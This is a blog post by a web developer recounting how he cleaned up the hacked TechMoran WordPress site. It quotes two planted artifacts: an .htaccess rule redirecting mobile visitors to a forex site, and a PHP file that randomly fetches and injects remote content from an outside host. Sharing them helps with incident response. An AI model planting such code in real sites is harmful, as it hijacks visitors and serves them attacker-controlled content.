I’ve had the opportunity to work with several top blogs. While my primary positioning is as founder of my startup: kejahunt, I have worked, in both technical and writing positions for top kenyan blogs such as 140friday.com, techmoran.com, blog.gigwapi.com and femmehub.com and of course our very own blog.kejahunt.com. Am I a blogger? You ask. No. I just like to interface with technology reporting and technology itself in both capacities.
Well, back to the point: I did the new-look website for TechMoran.com. (Feedback please): Anything you’d like us to change? Of course this was based on a theme that we thought served our readers interests best, but again with his core business being a priority, we did bring that into play as we made the customizations. This probably took over a month, with back and forth feedback and negotiations on what we could do and what wouldn’t work best taking centerplay.
Again: back to the point: a few weeks ago Sam Wakoba (Techmoran’s C.E.O)received this email that he forwarded to me:
That being on a monday, and the fact that I don’t work on monday’s led me into a big debate: to rush to work or not? Of course, as you’d assume, being the workaholic that I am, I was having this debate while getting dressed up.
It’s unmentionable for a top tech blog like techmoran to be hacked as of course, you might expect the link that the traffic is being driven to get really really good numbers. I’d rather those numbers were driven to kejahunt. Lol, you get the point.
So I got to work like an hour later (3 pm), thanks to Nairobi traffic.
A quick debrief meeting with sam and i though I knew what to do: My first thought: my root index file was hacked, and must have been driving a partitioned amount of traffic elsewhere.
So I opened my index file and yes, it was as clean as I had left it when I wrote it.
Next thought: my theme index file must have been hacked: opened it, clean as I had built it.
I wish I could tell you here that I YES! I knew the third and last option that I had on my trick book that would work wonders.. But I didnt. I was clueless.
Most tech hackers would probably get stuck in code at this point, but I’d always rather take a walk away from the computer to try get perspective.
So I call one of my developer friends and explain the situation to him. While he has almost no experience with wordpress development, I figure hacking is hacking, whether on java or html.
He’s clueless too. But he leaves a good pointer: If it’s redirecting straight from the homepage then it must be a file on the root, either on the domain root, on the theme root or a dependency on either.
It hit me: .htaccess.
.htccess, by wikipedia, is a directory-level configuration file supported by several web servers, that allows for decentralized management of web server configuration. They are placed inside the web tree, and are able to override a subset of the server’s global configuration for the directory that they are in, and all sub-directories.
Simply put: the .htaccess per-directory access control, by for example requiring a password to access the content. (the . (dot) before htaccess means the file is hidden to users.)
So I checked my .htaccess file, and pasted down below is the file as it was:
# Use PHP5.4 as default
AddHandler application/x-httpd-php54 .php
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} “android|blackberry|iphone|ipod|iemobile|opera mobile|palmos|webos|2.0\ MMP|240×320|400X240|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|Googlebot-Mobile|hiptop|IEMobile|KYOCERA/WX310K|LG/U990|MIDP-2.|MMEF20|MOT-V|NetFront|Newt|Nintendo\ Wii|Nitro|Nokia|Opera\ Mini|Palm|PlayStation\ Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|SHG-i900|Small|SonyEricsson|Symbian\ OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|webOS|Windows\ CE|WinWAP|YahooSeeker/M1A1-R2D2|iPhone|iPod|Android|BlackBerry9530|LG-TU915\ Obigo|LGE\ VX|webOS|Nokia5800|w3c\ |w3c-|acs-|alav|alca|amoi|audi|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-|dang|doco|eric|hipt|htc_|inno|ipaq|ipod|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-|lg/u|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|palm|pana|pant|phil|play|port|prox|qwap|sage|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|wap-|wapa|wapi|wapp|wapr|webc|winw|winw|xda\ |xda-” [NC]
RewriteRule ^(.*)$ http://forex216.com/%{REQUEST_URI} [L,R=302]
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
For y’all non techies this simply says: for all (or all specified) mobile devices, redirect to http://forex216.com.
Again, simply put: this redirects all traffic that comes through mobile devices to http://forex216.com.
Elated, we do a quick test with sam, and true to form, everythings running straight! Yes! I’m thinking: “Can I go home sleep now? We good?”
Eager, I close my laptop, ready to rush back home and sleep off what’s left of my makeshift saturday; of course after changing [permissions on .htaccess to 577, and also changing cookies so every logged in user is logged out and also changing the file store password.
It’s not over until the fat lady sings
Just as I am about to leave the office, a quick email from a user opiniates that the blog is now redirecting to a youtube video:
I try to recreate the error unsuccessfully. Any developer will tell you there’s nothing that takes more years off our lives than an error that you can’t recreate.
But then I figure: if it happened once, its bound to happen again.
Back to code. I really wish I could spoil your day with stories of what i went through to figure out where this problem was, but simply put, and after hours of debugging, I found this additional file ‘class.php’ in the theme root that read like:
<?php if (mt_rand(0,98) == 1) {function sec2_check() {if(function_exists(‘curl_init’)) {$url = “spamcheckr.com/req.php”;$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo “$data”;}}add_action(‘wp_head’,’sec2_check’);
}?>
What does this say?
For every random number between 0 and 98 which is equals to 1, got to spamcheckr.com/req.php (this is where it checks which link it is to be sent out to.)
Removing that solved our problems. But then the real problem, that we are working on finding out now, is how the hacker got access: was it a dirty plugin, a password that got into the wrong hands or something else?
I will be writing subsequent blogs on our findings.